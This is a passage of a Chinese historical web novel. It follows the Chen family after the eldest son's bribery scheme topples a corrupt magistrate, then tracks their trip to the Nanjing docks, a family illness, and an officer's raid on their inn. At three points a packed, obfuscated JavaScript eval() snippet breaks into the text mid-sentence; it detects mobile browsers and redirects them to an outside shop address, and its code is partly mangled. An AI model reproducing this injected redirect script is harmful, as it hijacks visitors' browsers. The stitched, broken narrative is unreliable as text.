“眼见等着财主一家的就是家破人亡，”卢姑父起身到厅外看了一圈，确定没人偷听，才神神秘秘地继续说，“天幸那财主生了个有胆量的好儿子，跑去了京城，求了儿时曾给他开蒙的恩师。然后便是眼下的结果，那财主保住了性命，章秉开下了锦衣卫狱。” 二老爷心口砰砰乱跳，“那个儿子的恩师……” 卢姑父深吸一口气，“正是咱们的长兄。” “啪嗒”一声，陈老太太手里的佛珠手串掉在了地上。 “岳母大人，这或许只是巧合。”卢姑父生怕吓到自家岳母，不敢再说了。但他猜测，冯家这场灾祸，背后主使之人八成就是岳家那位长兄。 就是不知道长兄是怎么做到的？不显山不露水地，既惊动锦衣卫将章秉开拿到京城，又没有得罪自诩清高的清流言官。 卢姑父想不出也就不想了。他那位岳家长兄才华横溢，心机深密，被人压了十多年，终于一朝高中二甲进士，入了翰林院。如今看来，亦能纵横权术。 他们是姻亲，一荣俱荣，一损俱损，长兄若能平步青云，他也能得到好处。 “母亲，咱们直接问大哥，别胡思乱想，自己吓自己。”陈二老爷劝慰陈老太太。 陈老太太长叹一声，接过陈婉紃递上的佛珠手串，“不早了，你们也早点回房睡吧。” 说完，带着陈婉紃回了后院。 晚上，陈婉紃躺在床上睡不着，心中翻江倒海。卢姑父的那番话，比恐怖故事还要惊悚，好端端的一个大财主，顷刻间就差点家破人亡。 章秉开将“破家的知县”五个字活生生地具象化了。 这个世道比她想象的还要可怕。 …… 纵然交游广阔、消息灵敏如卢姑父，也猜不到他口中那位财主的儿子，此时正在南京城。 本朝太祖定都南京，并修建皇城。后来迁都北京，南京皇城与六部等衙门完整保留，只在各衙门署增了“留都”二字。 从此重新确定北京为京师，南京为陪都。 归德卫高家，是太祖亲封的世袭指挥使。迁都北京之前，高家袭职舍人，都是来南京比试弓马，奉命到南京轮戍操练。 高家先祖颇善治财，在南京城内置有好几处生意。 随着迁都北京，以及后世子孙怠惰，如今高家在南京城就剩开在淮清桥河边的一个酱菜园，字号裕丰泰。 高崇就住在酱园店的二门内的宅院里。 这夜，高家在北京南货行的管事，带着个穿了一身粗布衣裳的男子，踏着夜色进了院门。 “二爷，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405884|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了，事情都办妥了。”高家管事擦了一把汗，上前回话。 高崇点了点头，看向那粗衣小帽的男子，问：“你家的那尊传家宝，你亲手献给了王公公，日后可后悔？” 粗衣男子噗通一声，双膝跪下，咚咚磕了两个响头，“高公子，就是为着这尊福禄寿喜三色翡翠雕的玉佛，我们家遭受灭门之灾，家父一条性命险些丧在章秉开手里。天可怜见，让我在北京见到了恩师。现在章秉开下了锦衣卫狱，家父性命得保，我巴不得赶紧脱手了这尊惹祸的劳什子。” 说着说着，这个粗衣男子，也即那位千里上京，家破人亡之际觅得一线生机的财主之子，嚎啕痛哭。 知县章秉开是冯阁老家的孙女婿，南直隶上上下下都与冯阁老有瓜葛，他们一家上天无路入地无门，连冤都没处喊。 临死一搏，他跑到北京喊冤，上天不忍他们一家冤死，他遇到了儿时曾给他启蒙的恩师——新科进士、翰林院庶吉士——陈大老爷陈竑。 陈大老爷给了他四个字——“断尾求生”。 全家的命都要没了，哪里还能顾得上财物，这位财主之子，对陈大老爷的话唯命是从。 “南京守备太监王公公，非常想调回京城司礼监，他家府上家人正在京里为他四下打点……”陈竑大老爷对着这个财主的儿子，掰开了揉碎了，细细讲解他的计策。 “向王公公的家人献上一份重礼，”陈竑大老爷将握笔的手向下重重一挥，“这份礼一定要重，重到他无法拒绝。” 那财主之子，倾尽家财，向王公公的家人献上一万两银子。 白花花的一万两银锭子，足足六百二十五斤，几乎堆满了一间厅房，险些闪花王公公家人的眼睛。 那家人两只眼珠子黏在银子上，自然无所不应。 司礼监提督东厂，东厂与锦衣卫不是东风压倒了西风，就是西风压倒了东风。王公公如何打通关节，如何让锦衣卫将章秉开押进锦衣卫诏狱，这些与陈大老爷无关。 清贵翰林，理学大儒，陈竑大老爷，事了拂身去，不沾半点尘埃。 高家掌柜护着财主之子急匆匆赶回南直隶，向王公公献上那尊福禄寿喜三色翡翠玉佛，自此，章秉开再无一丝活路。财主一家人与章秉开死生祸福，命运逆转。 也是巧了，高崇此时正在南京。 这等机密事，高家掌柜原本不想告知自家太过年轻的二爷。 高崇扫了他一眼。 被那不见半点温度的凛冽眼神一触及，高家掌柜浑身汗毛倒竖，再不敢自作主张。 等财主那个儿子哭累了，高崇手一挥，让人带他下去。 只剩下高家掌柜。 “陈家大爷的船是不是快到南京了？”高崇在厅中踱着步子，突然问道。 高家掌柜连忙掐着手指计算，“快了，想必这几天就能到了。” “等陈家大爷到了南直隶，咱们高家与陈家便能交换庚书，定下亲事了。”高家掌柜又补了一句。 高崇轻轻的嗯了一声，藏不住的欢喜跃上了他的眉梢眼角。 高家掌柜使劲揉了揉眼，简直不敢相信，自家那样钢骨铮铮的二爷竟然笑得这么腻柔。 可，陈家翰林大老爷问的从来都是他们高家大爷，高家的嫡长孙。 二爷干嘛这么高兴呢？ 高家掌柜不敢多嘴，却满心不解。 16. 第16章 因着卢姑父人面广、关系多，有八面玲珑的本事。陈家一行自到了南京，给京师大老爷寄的家信，都是写好后包封妥当，由卢府管家去拜访南直提塘官，由南直提塘官夹在南直与京师之间公文中，走塘路到京师，送与陈大老爷。 陈大老爷的回信，自然也是由驻在京师的南直提塘官发回南京。 这比以往央人带信快得多多了。 本朝，京师到全国各地都有官道，各省都有派驻在北京的提塘官，用于传递邸报等朝廷公文。在京师的一众京官们给家里写信，往往都是交给当地的提塘官，代为送信。 久而久之，这也成了俗例。 陈大老爷如今是翰林院极负盛名的庶吉士，他自然有这个权力。 陈二老爷虽然仅有秀才功名，卢姑父长袖善舞，与南直提塘官颇有交情，行事也很顺利。 毕竟走的是提塘官的塘道，家信虽封装妥当，到底经过多人之手。陈家人谨慎，在家信中只是写一些家事，不多说旁的。 这日天色还没亮透，陈二老爷垫了几块点心，耐着性子喝完最后一口药汤子，急忙让人牵马，他要去城外码头接侄子陈鹏。 昨天收到陈鹏从镇江写的信，他今日就要到南京了。 陈大老爷如何进翰林院，如何用计谋让受冤屈的财主沉冤得雪，如何使下了锦衣卫诏狱的章秉开案牵连到冯阁老家，这些他在家信中只字未提。 只说他将于近日上疏陈情，乞给假两月，准他回籍祭祖，并定下与高家的亲事。先遣陈鹏回南京。 陈二老爷盯着大老爷信上“定下与高家的亲事”几个字，足足看了一炷香，这几个字仿若重逾千斤，压得他心口沉甸甸的。 以至于陈二老爷一刻钟也无法多等，一定要到码头接侄儿陈鹏，第一时间问清楚，大老爷在北京城里究竟发生了什么事。 陈二老爷这几天心绪浮躁、寝食难安，前儿一早竟头困身重、四肢酸疼无力，躺在床上起不了身。他自己懂医，晓得是热伤风，挣扎着写了个方子，悄悄着人去抓了药。他不想惊动人，再三叮嘱身边小厮不许对人说。 偏偏陈婉紃是个极孝顺的女儿。 卢姑父的一位好友从福建回来，送了卢姑父一篮子上好的头茬建莲，陈姑姑分了几支干莲蓬给陈婉紃。 陈婉紃知道自家爹爹爱喝莲子羹，一个一个剥出莲子，在小跨院里用自家带的小炉子，熬了一小锅冰糖建莲羹。 盛了一小碗，放在小食盒里，让小丫头双喜提到卢家前边的客院，送给二老爷。 不想，双喜回来，说了一句二老爷还在睡，莲子羹交给二老爷身边的小厮了。 自家爹爹每日卯时（5点）即起，风雨无阻，好端端的怎么这么晚了还在睡觉？ 陈婉紃一急，顾不得多想，直接去了卢家客院。 陈二老爷的病再也瞒不住女儿。 这天，陈二老爷让人备马，要带病去城外码头的事情，自然也瞒不住陈婉紃。 陈婉紃拦住了陈二老爷，“爹，你还病着，不能骑马。” 陈老太太与陈姑姑，也都来劝阻陈二老爷。 “真儿她爹昨天宿在了国子监，说是新任南直提督学政的官船快到南京了。虽然国子监不归南直提学掌管，但新来的这位提学大人，是以翰林院侍读学士任职的，身份清贵。真儿她爹代表南京国子监，与上元、江宁两县县署，一道去迎候去了。真是太不凑巧了。”陈姑姑急得一口气说了一长串话。 陈家家事，不想让外人知道。卢姑父不在家，卢家几个男孩儿年纪太小。一时找不出合适的人，陪着陈二老爷出城。 陈二老爷忧心如焚，一刻都无法多等，定要去码头接侄子。 “我陪着爹爹一块去吧。”陈婉紃看着陈老太太说道。 “好，好，紃儿陪我去。”陈二老爷一口应下。 陈婉紃没有立即动身，而是静静地等着陈老太太发话。自家父亲行事率性，没有太多繁文缛节，她却不能不多考虑，必得等到祖母点头。 陈老太太微微皱眉，“码头上人多杂乱，紃儿是个姑娘家，不妥。” 陈二老爷看看花朵一样的女儿，也觉出不妥当。 “还是我自己去吧，你们不用担心，我自己就是大夫，还能不知道我自个的身体情况吗？”陈二老爷急道。 “俗话说‘病来如山倒，病去如抽丝’，只要得了病，都是来得快，好得慢。爹，要是母亲知道您带病骑马，我还没劝住您，一定会对我失望。”陈婉紃拉着陈二老爷的衣袖，撒一些女孩儿的脾气，“我要不是女儿，是个儿子，就好了。” 陈老太太、陈二老爷颇无奈，“这孩子……” 陈姑姑却眼珠一转，想出了个主意，“要不让紃儿换身衣裳，充作男孩，跟着二哥出城吧。” “这主意好。”不等陈老太太开口，陈二老爷拍手叫好。 “我瞧着紃儿和我家大小子身量差不多，等着，我去拿一套大小子的新衣裳。” 陈二老爷和陈姑姑拿定了主意，陈老太太只得点了头。 陈婉紃坚持不让陈二老爷带病骑马，她虽打扮成一个男孩子，却从未学过骑马，自然不会骑。 卢家马厩里只剩下一辆敞着篷子的骡车没有人预订要用，陈家人不想惊动卢家其他人，就用这辆骡车。 陈姑姑在车凳上垫上褥子，陈二老爷靠着软枕，半坐半躺。 男孩打扮的陈婉紃跨上车辕，跟着陈二老爷的家仆张安充当车夫，驾起骡车，慢慢驶向城外码头。 此时天色初明，一条长街，俱用平整的青石板铺成，街道两侧鳞次栉比的店铺，伙计们忙忙碌碌地卸开铺板门，悬挂招牌。 城门口急等着出城的人，排着长长的队。 一大早就来到城门口排队，都是有急事的人，他们见又来了一辆骡车，一个老爷模样的歪在车厢，一个小公子坐在车辕上，瞄了眼便收回了目光。 自打出生在这个世道，陈婉紃头一次换穿男装，扮成少年公子，也头一次在全都是男人的公众场合感受到了自在。 只因当她是个少年公子，便无人冒犯她，更没人敢死死盯着她的容貌。 陈婉紃再次清晰地意识到，她置身的世道是个固若金汤的男权世界。 青砖垒砌的城墙高大坚实，城门巍峨，守城的军士开了两边的城门，中间那道红漆铆钉的大门纹丝不动，排队的百姓们从两边城门鱼贯出城。 陈家的骡车终于到了城外码头。 码头上人比预想的少多了，江中看不到大船，陈婉紃跳下车辕，向二老爷说道：“爹爹，看来大哥的船还没到，前边有一座茶棚，我扶你先在茶棚里歇歇。” 二老爷头还发晕，便点点头，由自家女儿扶着进了茶馆。 家仆张安将骡车停在一处地势高的地方，站在车辕上手搭凉棚，盯着江中，以免错过少爷的船。 茶棚前高悬着一方白布招，安置着竹椅木桌，伙计们鲜帽净衣，可奇怪的是茶棚里没有一个茶客。 陈婉紃父女俩没将这个异样放在心上，径直拣了个座位坐下。 有个小伙计想要上前赶人。 茶棚掌柜连忙拦住，“慢着，这位老爷和小少爷的穿着打扮，怕是乡宦家里的爷，咱们轻易得罪不得。” “老爷，”茶棚掌柜来到陈二老爷面前，弯着腰，神色恭敬，“这么一早就来码头，你老可是来接人？” 不先问要什么茶，上来就问是不是来接人，陈婉紃看了看空空的茶棚，轻轻挑了挑眉。 “是又如何？不是又如何？”陈婉紃抢在二老爷回答前说道。 这小少爷年龄不大，却不是个万事不懂的公子，掌柜的笑容一僵，腰弯得更低，“老爷、少爷，好教二位知道，今儿有位大老爷的官船要来，南京城里上元、江宁两县的老爷们要来码头迎候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“官船一到，其他船只都要避让，鹏儿乘坐的客船估计要晚到了。紃儿莫急，咱们多等片刻无妨。” 这种时候，陈二老爷当然不可能去与卢姑父见礼，轻声安抚女儿。 “爹爹说的对，咱们不着急。” 迎候官船的人群，乌压压一片，衙役手执虎头牌、檀香炉，军士擎着高高的伞盖，静静的立在码头上，逼人的官威，扑面而来。 百姓们远远避开，连呼吸都放轻了。 忽而人群中起了骚动，一艘体积庞大的官船劈波斩浪，缓缓驶来。 这艘官船越驶越近，逐渐看清船头高高挂着一对很大很大的官衔红纱灯笼，一只写着翰林院侍读学士康，一只写着南直隶提督学士康。 这位新任南直提学姓康。 从船舱里走出一位头戴乌纱帽，身穿大红色圆领补服，长须飘飘的中年男子，肃立在船头两侧的差役齐齐跪下行礼。 这位大员微微点了点头，笑着向船舱招手，舱里走出一位年轻的士子。 年轻士子一袭蓝色直裰，戴玄色方巾，显然未有两榜功名，却与南直提学大人并肩而立，不知说了什么，传闻中恃才性傲的康大人哈哈大笑，待那士子亲昵如子侄。 码头上迎候的一众老爷，看得清清楚楚，不由猜测这位俊秀士子是哪家的子弟？ “爹爹，”陈婉紃轻轻拉了拉呆住了的陈二老爷，指着南直提学旁边的士子，低声说，“是大哥。” 官船靠岸，热闹喧腾。 家仆张安机灵矫健，接到了陈家大爷陈鹏。 与南直提学大人谈笑风生，与一众老爷轻松周旋的陈鹏，此刻低眉顺眼的站在陈家的骡车旁。 那样一个意气轩昂的人，搓着手，小心翼翼地递给陈婉紃一个精致的雕漆匣子，“四妹妹，我知道你一直想要一块合意的田黄制印，天缘凑巧，我在京中得了一块上好的田黄，你看看，喜不喜欢？” 陈婉紃没有去接匣子，直直看向堂兄。 陈鹏错开眼神，不敢与她对视。 陈婉紃的心重重的沉了下去。 17. 第17章 田黄，号称“一两黄金一两金”的贵重石头。 产地也非常奇特。 仅仅只在福建寿山村一条小溪两旁，不到两里地狭长的水田底下才有，非常稀少。 田黄刻制的印石，珍贵无比。 田黄的颜色在各种不同的鲜丽的黄色之间，分别命名为田黄冻、银裹金、黄金黄、桔皮黄、枇杷黄、桔花黄。① 田黄冻为上品。 陈鹏手中捧着的那块鸡蛋大小的田黄，正是田黄冻，如同鲜蛋黄，娇嫩、鲜透，无比灵透。 “堂兄，这块田黄价逾千金吧，为何送我？” 陈婉紃盯着自家堂兄，干脆利落直接问话。她只是陈家的一个姑娘，堂兄送给她如此贵重的田黄，岂能不让她心生疑虑。 陈鹏有些惊愕，四妹妹聪明，他一直知道。可也没太过重视，在他眼中，四妹妹是比二妹妹、三妹妹敏锐些，也只是闺阁女儿罢了。 现在，四妹妹穿了一身男装，扮作小少爷，眼神利若锋芒，说话行事毫不拖泥带水。 陈鹏本就心虚，面对这样的四妹妹，竟有仓皇之感。 “四妹妹才智聪敏，我作为兄长一向知道。”陈鹏不是个只会逃避的懦弱之人，眼见四妹妹不能糊弄，当下肃了神色，“有些事情，兄长不再隐瞒。” 陈鹏向二老爷深深一揖，声音压得低低的，“叔父，父亲通过庶吉士的考选，进了翰林院，被冯家压了这么多年，父亲终得一伸抱负。其中多得高家助力。” 平平淡淡的一句“多得高家助力”，陈二老爷却听得惊心骇神，竭力压着抖颤的声音，“都是些什么助力？” “叔父，”陈鹏以只有他们三人才能听到的声音说，“章秉开下锦衣卫诏狱，牵连上冯家，全赖高家牵针引线，才得与南京守备太监，与锦衣卫指挥使搭上关系。咱们陈家与高家，两家性命相连，荣辱与共。” 高家为陈大老爷提供银两、仆役的事，陈鹏没有说。不是他有意隐瞒，而是与这些事比较，银子的事不需要提。 陈二老爷骇然变色。 这些事情，一个不慎，便是毁家灭族的大祸。如此大事，长兄竟与高家共谋，两家真真是祸福与共了，只能交好，不能结怨。 为示诚意，两家联姻势在必行。 “长兄……他……太……唯利……”陈二老爷想要说的话闷在心口，直噎得眼圈泛红，脸色一层层灰败下来。 “爹爹。”陈婉紃急忙拍打陈二老爷的背，给他顺顺气。 陈二老爷抓住陈婉紃的手腕，眼中含泪，哀痛地看着女儿，“紃儿，乖女，爹没用啊。” 陈婉紃心中乱麻一样，可眼下堂兄颓败羞惭，父亲自责痛苦，两人顾不得多想，她不能放任情绪崩溃。 已经有人在向这边张望，他们必须马上离开码头。 “爹爹，咱们赶紧回去吧。” 陈鹏一凛回神，“对，叔父，这里不能久待。” 两人将陈二老爷搀进骡车，陈婉紃坐在旁边，陈鹏坐上车辕，家仆张安扬起鞭子，驾车离开。 回到卢家，陈二老爷和陈鹏都恢复了神智，面上不露异色。陈鹏梳洗了一番，换上新衣，依着礼节，拜会卢家长辈，联络卢家小辈，举止得体，丰神秀逸，引得卢家上下夸赞不已。 有父亲、堂兄撑持，陈婉紃自然而然地变得娇弱了，她回到卢家后，便躺倒在了床上，不哭不闹，只睁着眼发呆。 “紃儿这孩子，心疼死我了。”陈姑姑悄悄看了眼，对着陈老太太抹泪。 陈老太太心中更不好受。 “娘，二哥的意思，后天就回去，会不会太着急了？会不会引得一起子小人无端乱猜？” 陈老太太揉着太阳穴的手一顿，“绢儿快要临盆了，我们着急回去不是应该的吗？” 陈姑姑连连点头，“对，对，二丫头快要生了，还是娘心里记挂着人。要是有人敢说三道四，看我不拧烂她的嘴。” 除了三小姐淑绘懵懂不知，陈家其他人心里如炭烧一般，急着赶回阳湖。 陈二老爷忍不住将船家催了又催，甚至连夜赶路，他身上染的风寒本就没有痊愈，这一急一燥，竟发起了烧。 雪上加霜的是，眼见陈二老爷病倒，陈老太太大急之下，哇的吐出一口血。 “四妹妹，我让船家泊上岸，你和三妹妹守在船上，我下船去寻大夫。”陈鹏忽略掉吓得六神无主的三小姐淑绘，直接和四小姐婉紃说话。 “大哥，是不是快到镇江了？” 临出行前，陈二老爷给她看过行程图，陈婉紃记着路，应是快到镇江府了。 陈鹏点头，“对，还有二三十里就到镇江的京口驿了。” “不如到了镇江再泊船，一面去城里请大夫，一面定客店、雇轿子将祖母、父亲抬进客店歇息。大哥，可好？” “还是四妹妹想的周到。”陈鹏连连点头。 船家得了令，不敢怠慢，同船上伙计一道摇撸划桨，船行如箭，很快就到了镇江西门外的京口驿。 “大哥，这包银子你拿着，有十两、五两的锭银，也有散碎银子。” 陈鹏接在手里，略一沉吟，“四妹妹，你去换身衣裳，像那日在码头接我那样，扮作小公子，和我一道上岸吧。” 请大夫、雇轿子、雇脚夫、定客店，每一样都需要张罗。跟来的家仆张安，忠厚老实却不够机灵，小厮年纪太小，不通人情世故，治病如救火，陈鹏生怕耽误了事。 愣了下，陈婉紃立即答应，“好。” 那套卢家小表弟的新衣新帽，陈婉紃穿过之后，便成了她的了。这年头，她一个女孩儿穿过的衣裳，哪怕是外衫帽子，怎么可能再还给表弟？ 陈婉紃再一次见识到，这世道男女大防的严厉。 动作飞快地换好男子装扮，陈婉紃同堂兄陈鹏一道下船，码头上有许多店伙计前来叫唤，兜揽生意。 “大哥，先定下客店，咱们再分别请大夫、雇轿子脚夫，可好？” “好，我也是这般想法。”陈鹏颔首。 陈鹏在一众店伙计中，挑了一家距离最近的客店，并拈出两块七八钱的碎银子给了店伙计，两个店伙计喜得迷花眼笑，不住口地夸耀自家能办事，但请客官吩咐。 “你们一人随我进城请此处名医，一人陪着舍弟雇轿子、脚夫，去船上接人、担行李。” 两个店伙计齐齐弓腰应是，“小的们谨遵爷的令。” 陈鹏带着小厮进镇江城请大夫，将家仆张安留给了陈婉紃。 家仆张安虽不够机灵，却老实忠心，且生得一副力大气粗的壮汉模样。店伙计多看了陈婉紃一眼，被他恶狠狠一瞪，吓得两个眼珠子再不敢乱看。 故而，虽不少人觉得陈婉紃这个小少爷太过貌美，却没人敢放肆。 陈婉紃很快就雇好了轿子、脚夫，来到岸边，将陈老太太和陈二老爷或搀或抬，送进轿里，抬进客店。 这家客店，店名连升店，占地颇大，店里又出来伙计殷勤接待，一一介绍店里房间。 为着清净宽敞，陈婉紃选了后进一座院子，平列着五间正房，两旁各有四间厢房。 陈婉紃指着五间正房道：“我们就定这五间房。” “小的遵少爷的令。”店伙计一面答应，一面指使轿夫将轿子停在正房。 很快，挑行李的脚夫也赶了过来。 陈婉紃督率着脚夫将行李搬进房间，先开了铺盖，将被褥铺在光秃秃的床板上。 两间房的床铺得软乎乎平整整，陈婉紃和淑绘将陈老太太扶上床，家仆张安和一个脚夫把陈二老爷抱进另一间房的床上。 陈婉紃让张安结了轿子、脚夫的钱，比定好的价格各多给了二十文，轿夫、脚夫感激不尽。 这边刚安置妥当，陈鹏带着请来的镇江城中祖代名医唐先生，急急赶到连升店。 “烦请唐先生先给我儿子看脉。”陈老太太摇摇头，对请来的名医唐先生说道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405886|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 察言观色，医家必备。 唐先生早已看得出陈家一行人有些来历，不是缙绅，就是大户，便向陈老太太行了一揖，去了陈二老爷房间。 “老先生此病外感风寒，内里又受七情郁结，所以发了高热，人也昏沉了。我先以一剂桂枝汤驱散外感，降了高热，然后再用一剂二陈理气汤散内里郁结，便能慢慢自行平复。” 唐先生打开药箱，撮了药，陈婉紃再三道谢。 陈鹏引着唐先生给老太太看了脉，然后送出唐先生，陈婉紃亲自煎药。 煎好了药，陈婉紃让张安扶起二老爷，她托着药碗灌了进去，她手很稳，一碗药只洒了几滴。 给二老爷灌了药，陈婉紃给他拉好被子，放他睡好。 “四小姐，天色已经黑了，你也进去睡吧。”厨娘奉陈老太太的命来劝陈婉紃。 陈婉紃摇头，“我要守着爹爹。” 劝不动陈婉紃，陈老太太便让厨娘陪着她一块守着。 睡到半夜，陈二老爷额头出了一层汗，陈婉紃知道药起效了，忙又煎了一碗，给二老爷灌下。快到天亮时，二老爷汗如雨下，身上的热退了不少，人也醒了过来。 陈婉紃喜极而泣，“爹爹。” “紃儿，”二老爷病中嗓音断断续续，却充满爱怜，“爹没事，你快去睡一会，这些天累了你了，眼圈都熬黑了。” 陈鹏睡在隔壁房间，听到动静，他穿戴整齐，掀帘子进来，劝说：“是啊，四妹妹，你快去休息，叔父这里有我呢。” 陈婉紃确实困得头疼，又怕控制不住哭起来，便点了头，听话地去了西稍间，合眼躺在了熟睡的淑绘旁边。 天大亮后，唐先生又来诊了脉，陈二老爷已清醒过来，还和唐先生一道商议着调了方子。 得知陈二老爷的名讳，唐先生大喜过望，向他深深一揖。 陈二老爷身上力气还没恢复，忙让陈鹏代他向唐先生回礼，连连摆手，“先生何故行此大礼？” 唐先生神色激动，“五年前，镇江发疫，恰好应天巡抚张大人巡抚镇江。先生当时在张巡抚幕中，恳劝张巡抚散药救民，先生不顾疫病凶险，在巡抚衙门外设医棚为百姓诊脉发药。镇江城中缙绅大族被先生感动，纷纷捐银买药赈济百姓，多少条性命因此得活。全赖先生的恩德啊。” 陈二老爷在高官衙门做幕僚，确是极爱劝东翁爱民救民，只是他不爱在自家小辈面前说。唐先生说的这桩事，不止陈鹏，连陈婉紃都不知道。 看着刚刚赶来的陈婉紃，眼睛亮亮的，一副为自家父亲骄傲的与有荣焉的模样，陈二老爷故意咳嗽起来，以便掩饰脸上火烧。 陈婉紃莞尔微笑。 陈老太太等人知道了，也连连向二老爷追问。 笑语喧哗，终于将陈家一路上低沉压抑的气氛冲淡了。 老太太、二老爷病了一场，陈鹏、陈婉紃兄妹俩都不同意匆匆赶路，一定他们病情彻底平复，才能上路。 这家连升店虽然人来人往，生意兴隆，掌柜的、店伙计等都是厚道能干的。 他们住的这后院，两边厢房极少人住，也算清净，陈家虽在镇江也有些远房亲眷，但不好带病登门相扰，便在这连升店长住了。 为了做事方便，陈婉紃这些天一直穿着男装，扮作一个小少爷。 老太太和二老爷没口子的夸她能干，真恨不得她就是个男孩儿。 陈婉紃让他们夸得飘飘然。 这日，陈婉紃正在和厨娘商议，要店伙计帮着买一只乌骨鸡，和着熟地黄、当归、白芍、川芎四味药材，给老太太炖乌鸡四味汤喝。 突然听得店里大嚷大闹，炸了锅一样的乱了起来。 “老爷，不知道出了什么事，一伙兵卒把整座店都围了起来，有个武官腰里挎着刀，说要搜检什么人。”张安气喘吁吁地跑进来说道。 听得武官二字，陈二老爷眉头皱成疙瘩，嫌恶摆手，“随他干什么，与我家无干。” 18. 第18章 陈家不愿惹事，外边的闹嚷却越发逼近后院。 “陈公子，有位将爷大人来店里盘查，打扰您了。”店伙计跑在前面，一脸乞求地对陈鹏说道。 陈婉紃站在屋门口竹帘子后面，看着涌进后院的一群人。 为首的是个穿着一身绣熊罴官服的武官，挎着腰刀，身量粗矮，面色甚是嚣横。 六个兵卒分两行拥在这位武官身边，店掌柜落在后面，手里拿着个簿子，跑着追上来。 “将爷，”店掌柜终于追上来，拦在武官面前，满脸堆笑地先行了个礼，才翻开手上蓝皮夹着红签的店簿子，说道，“小店是小三十年的老字号了，这些年都是按着规矩做的。您看，这个店簿子，就是按照县尊老爷的令记的，到店客官的姓名籍贯、同行几人、来自何处、去往何处、几辆车、几头匹骡马驴、有没有货物行李，全都在簿子上逐一登明。” “五间正房里住的客官，是南直隶阳湖人，从南京探亲返乡途中生病，为了延医煎药，才留在店里。不是将爷要找的歹人。” 那武官却一把打翻店掌柜手里的簿子，狞笑一声道：“你说不是就不是？你知道老子要搜检的是什么人？老子府里的一个贱婢逃了出去，老子今儿是来追逃妾的。保不齐那贱婢就窝藏在这座院子里。” 听得他的话，不止店掌柜目瞪口呆，陈鹏脸色瞬间大变，从牙缝里挤出两个寒意森森的字，“放肆！” 听这武夫话里的意思，是要搜查房间，客房里住着自家祖母和两位妹妹，岂容这些兵卒惊动。陈鹏大怒，一向温和儒雅的人，脸色越来越沉。 那武官为他气势所慑，竟不由向后退了一小步。 一个一直躲在后面的三十多岁的瘦小男子，绿豆眼、老鼠须，一看就是个猥琐奸猾的人，上前凑到武官面前，叽叽咕咕的说了一通。 他声音压得低，说的又是当地土话，陈鹏听得不太明白，店掌柜听得懂，脸色都煞白了。 “王三儿，你个王八犊子怎么净干这种丧良心的事！正房里的客官，探亲返乡，带着自家女眷何等正常，你个鳖犊子要将良家女眷诬为逃妾吗？” 原来这王三儿是当地出名的泼皮无赖，原也是旧家出身，从他爹那一辈就不肯学好，日日赌钱吃酒，把一大份家业败光。 到了王三儿，越发下作，他竟投在镇江府一家大乡宦门下，给那家少爷做帮闲。后来不知怎么得罪了那家少爷，被打了一顿赶了出来。 这王三儿生得矮小，干不了打打杀杀的活，为了弄银子吃酒赌钱、宿娼嫖妓，便把主意打在了女人身上。 他常在庙会上、寺庙里，寻觅乡里小户家的女孩，或拐或骗或抢，弄上船，沿着运河卖到外地。这些年不知多少女孩儿毁在了他手上。 店掌柜知道王三儿是个丧心病狂的人渣，却不敢相信他利欲熏心到如此胆大包天的地步，这家姓陈的客官可不是拿他无可奈何的穷檐小户，看这陈家的行事气派，至少也得是富室大户。 这种人家的女眷，王三儿也敢打主意，是嫌自己活够了吗？ 被店掌柜骂破行藏，王三儿缩着脖子躲在那武官身后，他祖上也富贵过，虽然败落了，祖上也传了些处事之道，欺贫不欺富，害穷不害贵。他一向以自己眼力过人为傲，像这家客人这种有来头的，他本不敢招惹。 可谁让他倒霉，惹上个大麻烦，天可怜见今儿遇到这位熊千户来店里搜捕逃妾，要是能抱上熊千户的大腿，他的小命就保住了。 抱不上大腿他必死无疑，抱上大腿还有一线生机。王三儿毫不犹豫地选了抱大腿，贴上熊千户，悄声告知这座院子里有个花朵儿似的美人，引得熊千户色心大动。 陈家自住进连升店，陈婉紃一直穿男装，扮作个小少爷，忙着照料父亲、祖母，从没踏出过这个院子。 倒是三小姐淑绘，有时憋闷的难受，带着厨娘、双喜出店门，买一些吃的、玩的小玩意儿。 保不齐哪次不小心让王三儿瞧见了。 阳湖陈家他们这一支，不管男女，向来出美人。大堂姐文缇，当年嫁入如日中天的冯阁老家，将冯家上下连带着冯家一众亲眷家的女眷都比了下去。 亲姐堂妹都太美了，显得三小姐淑绘在姐妹中不出挑，可出了陈家，在外人眼里，淑绘是个不折不扣的美人儿。 更何况陈家精心教养女儿，风姿楚楚的大家闺秀，落在王三儿这种畜生眼里，他自然视为奇货可居。 听了店掌柜的话，陈鹏简直不敢相信自己的耳朵，他原以为这个蛮横的武官要搜查他们住的客房，没想到，这该死的武夫竟敢起了那种心思。 陈鹏怒到了极处，脸色涨得通红，竟然跨步上前，噌的一声，拔出那武官腰上挎的刀，对着他当头就劈了下去，“混账该死！” 那武官看着横暴，身子骨早就被酒色掏空了，只会慌乱躲避，双脚一绊，与身后的王三儿一道摔在地上，滚做一块。 陈鹏那一刀却也劈空了。 王三儿抢先爬起来，却撞在了陈鹏面前，陈鹏一脚又将他踢到，举刀又砍。 